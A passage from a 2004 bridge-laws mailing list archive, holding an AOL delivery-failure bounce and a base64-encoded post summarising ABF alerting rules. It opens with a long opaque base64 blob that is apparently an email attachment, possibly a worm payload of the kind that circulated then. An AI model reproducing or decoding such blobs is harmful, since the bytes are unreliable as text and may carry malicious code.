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 ------=_NextPart_000_0009_000035B8.00004766-- From MAILER-DAEMON@aol.com Sat May 1 18:16:42 2004 From: MAILER-DAEMON@aol.com (Mail Delivery Subsystem) Date: Sat, 1 May 2004 13:16:42 -0400 (EDT) Subject: [blml] Returned mail: User unknown Message-ID: <200405011716.NAS15862@rly-na03.mx.aol.com> This is a MIME-encapsulated message --NAS15862.1083431802/rly-na03.mx.aol.com The original message was received at Sat, 1 May 2004 13:16:28 -0400 (EDT) from 82-33-168-10.cable.ubr06.wiga.blueyonder.co.uk [82.33.168.10] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-na02.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown --NAS15862.1083431802/rly-na03.mx.aol.com Content-Type: message/delivery-status Reporting-MTA: dns; rly-na03.mx.aol.com Arrival-Date: Sat, 1 May 2004 13:16:28 -0400 (EDT) Final-Recipient: RFC822; diceicebling@netscape.net Action: failed Status: 5.1.1 Remote-MTA: DNS; air-na02.mail.aol.com Diagnostic-Code: SMTP; 550 MAILBOX NOT FOUND Last-Attempt-Date: Sat, 1 May 2004 13:16:42 -0400 (EDT) --NAS15862.1083431802/rly-na03.mx.aol.com Content-Type: text/rfc822-headers Received: from netscape.net (82-33-168-10.cable.ubr06.wiga.blueyonder.co.uk [82.33.168.10]) by rly-na03.mx.aol.com (v99.12) with ESMTP id MAILRELAYINNA310-284093db6637a; Sat, 01 May 2004 13:16:23 -0400 From: blml@rtflb.org To: diceicebling@netscape.net Subject: Mail Delivery (failure diceicebling@netscape.net) Date: Sat, 1 May 2004 18:16:50 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal X-AOL-IP: 82.33.168.10 X-AOL-SCOLL-SCORE: 1:XXX:XX X-AOL-SCOLL-URL_COUNT: 1 Message-ID: <200405011316.284093db6637a@rly-na03.mx.aol.com> --NAS15862.1083431802/rly-na03.mx.aol.com-- From richard.hills@immi.gov.au Sun May 2 02:54:10 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sun, 2 May 2004 11:54:10 +1000 Subject: [blml] Unofficial precis of ABF alert rules Message-ID: DQoNCg0KDQpfSW50cm9kdWN0aW9uXw0KDQpJdCBpcyBhbiBlc3NlbnRpYWwgcHJpbmNpcGxlIG9m IHRoZSBnYW1lIG9mDQpicmlkZ2UgdGhhdCB5b3UgbWF5IG5vdCBoYXZlIHNlY3JldA0KYWdyZWVt ZW50cyB3aXRoIHBhcnRuZXIsIGVpdGhlciBpbiBiaWRkaW5nIG9yDQpjYXJkIHBsYXkuIFRoZSBm YWN0IHRoYXQgeW91ciBzeXN0ZW0gY2FyZA0KZXhwbGFpbnMgdGhlIG1lYW5pbmcgb2YgYSBjYWxs IGRvZXMgbm90DQpyZW1vdmUgdGhlIG9ibGlnYXRpb24gdG8gYWxlcnQgaXQgd2hlbg0KcmVxdWly ZWQgYnkgdGhlIHJlZ3VsYXRpb25zLiBHZW5lcmFsIGJyaWRnZQ0KaW5mZXJlbmNlcywgbGlrZSB0 aG9zZSB0aGF0IGEgbmV3IHBhcnRuZXINCmNvdWxkIG1ha2Ugd2hlbiB0aGVyZSBoYXMgYmVlbiBu byBwcmlvcg0KZGlzY3Vzc2lvbiwgYXJlIG5vdCBhbGVydGFibGUsIGJ1dCBhbnkNCmluZmVyZW5j ZXMgdGhhdCBjYW4gYmUgZHJhd24gZnJvbQ0KcGFydG5lcnNoaXAgZXhwZXJpZW5jZSBtdXN0IGJl IGRpc2Nsb3NlZC4NCg0KDQpfQWxlcnQgU3RhZ2VzXw0KDQpUaGVyZSBhcmUgdGhyZWUgc3RhZ2Vz IG9mIHRoZSBhbGVydGluZw0KcHJvY2Vzcy4gQWxsIGFyZSBpbXBvcnRhbnQuDQooYSkgVGhlIHBy ZS1hbGVydCBiZWZvcmUgYmlkZGluZyBzdGFydHMNCihiKSBBbGVydHMgZHVyaW5nIHRoZSBhdWN0 aW9uDQooYykgRGVsYXllZCBhbGVydHMgYnkgdGhlIGRlY2xhcmluZyBzaWRlDQpiZWZvcmUgdGhl IG9wZW5pbmcgbGVhZA0KDQoNCl9UaGUgcHJlLWFsZXJ0IGJlZm9yZSBiaWRkaW5nIHN0YXJ0c18N Cg0KQXQgdGhlIHN0YXJ0IG9mIGEgcm91bmQgb3IgbWF0Y2gsIHBhaXJzIHNob3VsZA0KYWNxdWFp bnQgZWFjaCBvdGhlciB3aXRoIHRoZWlyIGJhc2ljIHN5c3RlbSwNCmVnLiBsZW5ndGggb2YgdGhl aXIgb25lIGxldmVsIG9wZW5pbmdzIGFuZA0KdGhlIHN0cmVuZ3RoIGFuZCBzdHlsZSBvZiB0aGVp ciBvcGVuaW5nIDFOVC4NCg0KVGhpcyBpcyB0aGUgc3RhZ2UgdG8gd2hpY2ggeW91IHNob3VsZCBk cmF3DQp0aGUgb3Bwb25lbnRzJyBhdHRlbnRpb24gdG8gYW55IHVudXN1YWwNCmFncmVlbWVudHMg eW91IGhhdmUgd2hpY2ggbWlnaHQgc3VycHJpc2UNCnRoZW0sIG9yIHRvIHdoaWNoIHRoZXkgbWF5 IG5lZWQgdG8gYXJyYW5nZQ0KYSBkZWZlbmNlLg0KDQoNCl9BbGVydHMgZHVyaW5nIHRoZSBhdWN0 aW9uXw0KDQpTZWxmLWFsZXJ0aW5nIGNhbGxzIC0gVGhlcmUgYXJlIGZvdXIgZGlmZmVyZW50DQp0 eXBlcyBvZiBzZWxmLWFsZXJ0aW5nIGNhbGxzOg0KKiBEb3VibGVzLg0KKiBSZWRvdWJsZXMuDQoq IEN1ZSBiaWRzIG9mIGFuIG9wcG9uZW50J3MgZGVub21pbmF0aW9uL3N1aXQuDQooRm9yIHRoZSBw dXJwb3NlcyBvZiB0aGVzZSBSZWd1bGF0aW9ucywgYQ0KY3VlIGJpZCBvZiBvcHBvbmVudCdzIHN1 aXQgaXMgZGVmaW5lZCBhcyBhIGJpZA0Kb2YgYW55IGRlbm9taW5hdGlvbiBiaWQgYnkgdGhlIG9w cG9uZW50IG9yDQpvZiBhIHN1aXQgc2hvd24gYnkgdGhlIG9wcG9uZW50J3MgYmlkLikNCiogQWxs IGNhbGxzIGF0IHRoZSBmb3VyIGxldmVsIG9yIGhpZ2hlci4NClRoZXNlIGNhbGxzIGNhcnJ5IHRo ZWlyIG93biBhbGVydCBhbmQgc2hvdWxkDQpub3QgYmUgYWxlcnRlZC4NCg0KQ29udmVudGlvbmFs IGNhbGxzIC0gWW91IG11c3QgYWxlcnQgYSBjYWxsIGlmDQppdCBpcyBjb252ZW50aW9uYWwgKHVu bGVzcyBpdCBpcyBzZWxmLWFsZXJ0aW5nKS4NCkFsbCBvcGVuaW5nIGJpZHMgYW5kIG92ZXJjYWxs cyB0aGF0IHNob3cNCnR3byBvciBtb3JlIHN1aXRzLCBldmVuIGlmIG9uZSBvZiB0aGUgc3VpdHMg aXMNCm5hbWVkLCBhcmUgYnkgZGVmaW5pdGlvbiBjb252ZW50aW9uYWwuIEl0IGlzDQpjb25zdHJ1 ZWQgdGhhdCBhbiBvcGVuaW5nIGJpZCBvZiAxQyBvciAxRA0Kd2hpY2ggbWF5IGNvbnRhaW4gbGVz cyB0aGFuIDMgY2FyZHMgaW4gdGhlDQpvcGVuZWQgc3VpdCBkb2VzIG5vdCBpbmRpY2F0ZSAnd2ls bGluZ25lc3MgdG8NCnBsYXknIGFuZCBoZW5jZSBzdWNoIGJpZHMgYXJlIGNvbnZlbnRpb25hbC4N Cg0KQWxlcnRhYmxlIG5hdHVyYWwgY2FsbHMgLSBOYXR1cmFsIGJpZHMgd2l0aA0KdW51c3VhbCBt ZWFuaW5ncyB0aGF0IHRoZSBvcHBvbmVudHMgYXJlDQp1bmxpa2VseSB0byBleHBlY3QgbXVzdCBi ZSBhbGVydGVkICh1bmxlc3MNCnRoZXkgYXJlIHNlbGYtYWxlcnRpbmcpLiBFeGFtcGxlczoNCiog UmVzcG9uZGVy4oCZcyBmaXJzdCByb3VuZCBqdW1wIHNoaWZ0IG9uDQp3ZWFrIGhhbmRzLg0KKiBB IG5vbi1mb3JjaW5nIHN1aXQgcmVzcG9uc2UgYnkgYW4NCnVucGFzc2VkIGhhbmQgdG8gYW4gb3Bl bmluZyBzdWl0IGJpZC4NCiogQSBuYXR1cmFsIDFOVCBvdmVyY2FsbCBpbiB0aGUgZGlyZWN0DQpw b3NpdGlvbiwgd2hpY2ggZG9lcyBub3QgcHJvbWlzZSBhDQpzdG9wcGVyIGluIHRoZSBvdmVyY2Fs bGVkIHN1aXQuDQoqIEEganVtcCByYWlzZSBvZiBvcGVuZXLigJlzIG9uZSBsZXZlbCBiaWQNCndo aWNoIG1heSBiZSB3ZWFrIG9yIHByZS1lbXB0aXZlLg0KKiBBIHNpbmdsZSByYWlzZSBvZiBwYXJ0 bmVy4oCZcyBzdWl0IHdoaWNoDQptYXkgYmUgc3Ryb25nIG9yIGZvcmNpbmcgZS5nLiAxRCAtIDJE DQpmb3JjaW5nLg0KDQoNCl9EZWxheWVkIGFsZXJ0cyBieSB0aGUgZGVjbGFyaW5nIHNpZGUgYmVm b3JlDQp0aGUgb3BlbmluZyBsZWFkXw0KDQpBdCB0aGUgZW5kIG9mIHRoZSBhdWN0aW9uLCB0aGUg ZGVjbGFyaW5nIHNpZGUNCnNob3VsZCBkcmF3IGF0dGVudGlvbiB0byBhbnkgdW51c3VhbA0KZmVh dHVyZXMsIHBhcnRpY3VsYXJseSBhbnkgdW51c3VhbCBzZWxmYWxlcnRlZA0KY2FsbHMuIERlZmVu ZGVycyBNVVNUIE5PVCwgYXQgdGhpcyB0aW1lLA0Kdm9sdW50YXJpbHkgb2ZmZXIgZXhwbGFuYXRp b25zLg0KDQoNCl9Db25jbHVzaW9uXw0KDQpQbGF5ZXJzIHNob3VsZCBiZSBhd2FyZSB0aGF0IHRo ZXNlIEFsZXJ0DQpSZWd1bGF0aW9ucywgd2hpY2ggY2FtZSBpbnRvIGVmZmVjdCBmb3INCk5hdGlv bmFsIGV2ZW50cyBvbiAxIEphbnVhcnkgMjAwNCwgYXJlIGluDQpmb3JjZSBmb3IgYWxsIEJGQUNU IGV2ZW50cy4NCg0KRm9yIGEgZnVsbCBjb3B5IG9mIHRoZSBBbGVydCBSZWd1bGF0aW9ucywgc2Vl Og0KaHR0cDovL3d3dy5hYmYuY29tLmF1L21lbWJlcnMvYWxlcnRpbmdyZWdzLmh0bWwuDQoNCklm IHlvdSBoYXZlIGFueSBxdWVzdGlvbnMgYWJvdXQgYmlkcyB0aGF0DQptYXkgb3IgbWF5IG5vdCBi ZSBhbGVydGFibGUsIGl0IGlzIHByb2JhYmx5DQp3aXNlIHRvIGFzayBhIERpcmVjdG9yIGJlZm9y ZSBwbGF5Lg0KDQpSaWNoYXJkIEhpbGxzDQpCRkFDVCBQcmVzaWRlbnQNCi0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tDQogIEltcG9ydGFudCBXYXJuaW5nOiBJZiB5b3UgaGF2ZSByZWNlaXZl 